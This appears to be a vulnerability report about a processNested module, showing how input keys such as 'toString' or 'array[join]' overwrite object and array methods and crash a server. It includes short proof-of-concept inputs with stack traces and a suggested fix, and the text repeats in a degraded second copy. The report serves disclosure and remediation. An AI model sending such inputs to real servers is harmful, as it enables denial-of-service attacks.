236 explains a vulnerability in processNested that could result in a DoS attack. While prototype pollution specifically is fixed, you can still modify a method of an object or array.
Let's say you are using the toString method of the object returned by parseNested...
const processNested = require('./processNested.js'); // assume that that is the correct path to the module.
let obj = processNested({
"toString": null
});
console.log(obj);
console.log(obj.toString());
This will return the error
TypeError: obj.toString is not a function
at <insert path here>/index.js:7:17
at Script.runInContext (vm.js:131:20)
at Object.<anonymous> (/run_dir/interp.js:156:20)
at Module._compile (internal/modules/cjs/loader.js:1138:30)
at Object.Module._extensions..js (internal/modules/cjs/loader.js:1158:10)
at Module.load (internal/modules/cjs/loader.js:986:32)
at Function.Module._load (internal/modules/cjs/loader.js:879:14)
at Function.executeUserEntryPoint [as runMain] (internal/modules/run_main.js:71:12)
However, the toString method is not commonly used in plain objects since it just returns [object Object]. However, this vulnerability extends to arrays.
Let's say you have
const processNested = require('./processNested.js'); // assume that that is the correct path to the module.
let obj = processNested({
"array[0]": 1, // The function needs to read this as an array, so we have a random value there for the main array.
"array[join]": null // This modifies the Array.join method.
});
console.log(obj);
console.log(obj.array.join());
This returns the error
TypeError: obj.array.join is not a function
at <insert path here>/index.js:8:23
at Script.runInContext (vm.js:131:20)
at Object.<anonymous> (/run_dir/interp.js:156:20)
at Module._compile (internal/modules/cjs/loader.js:1138:30)
at Object.Module._extensions..js (internal/modules/cjs/loader.js:1158:10)
at Module.load (internal/modules/cjs/loader.js:986:32)
at Function.Module._load (internal/modules/cjs/loader.js:879:14)
at Function.executeUserEntryPoint [as runMain] (internal/modules/run_main.js:71:12)
which, if not escaped properly, could result in a DoS attack by the error being thrown in the server code and the code being exited, shutting down the server. Of course, this isn't a hugely critical issue since the code could be escaped using a try...catch statement, but this is not an expected error as it occurs within the module and may not be tested, so a developer may not think to escape the code to catch errors since no error would be expected.
Additionally, someone could potentially modify a method to execute arbitrary code that could cause malware to be inserted in the system, or even possibly a remote shell to be connected to a server. I'm not sure how great of a risk this is, however, since I do not think JSON can allow the transfer of functions.
This may not have been a huge issue if it weren't for the initial issue being opened and exposing the prototype pollution initially and it seems like a "quick fix" was used instead of completely fixing the bug.
I would recommend using Object.getOwnPropertyNames on the prototypes of Object and Array to define the invalid keys instead of using the current method of using a static array to do so.
236 explains a vulnerability in processNested that could result in a DoS attack. While prototype pollution specifically is fixed, you can still modify a method of an object or array.
Let's say you are using the
toStringmethod of the object returned by parseNested...This will return the error
However, the
toStringmethod is not commonly used in plain objects since it just returns[object Object]. However, this vulnerability extends to arrays.Let's say you have
This returns the error
which, if not escaped properly, could result in a DoS attack by the error being thrown in the server code and the code being exited, shutting down the server. Of course, this isn't a hugely critical issue since the code could be escaped using a try...catch statement, but this is not an expected error as it occurs within the module and may not be tested, so a developer may not think to escape the code to catch errors since no error would be expected.
Additionally, someone could potentially modify a method to execute arbitrary code that could cause malware to be inserted in the system, or even possibly a remote shell to be connected to a server. I'm not sure how great of a risk this is, however, since I do not think JSON can allow the transfer of functions.
This may not have been a huge issue if it weren't for the initial issue being opened and exposing the prototype pollution initially and it seems like a "quick fix" was used instead of completely fixing the bug.
I would recommend using
Object.getOwnPropertyNameson the prototypes ofObjectandArrayto define the invalid keys instead of using the current method of using a static array to do so.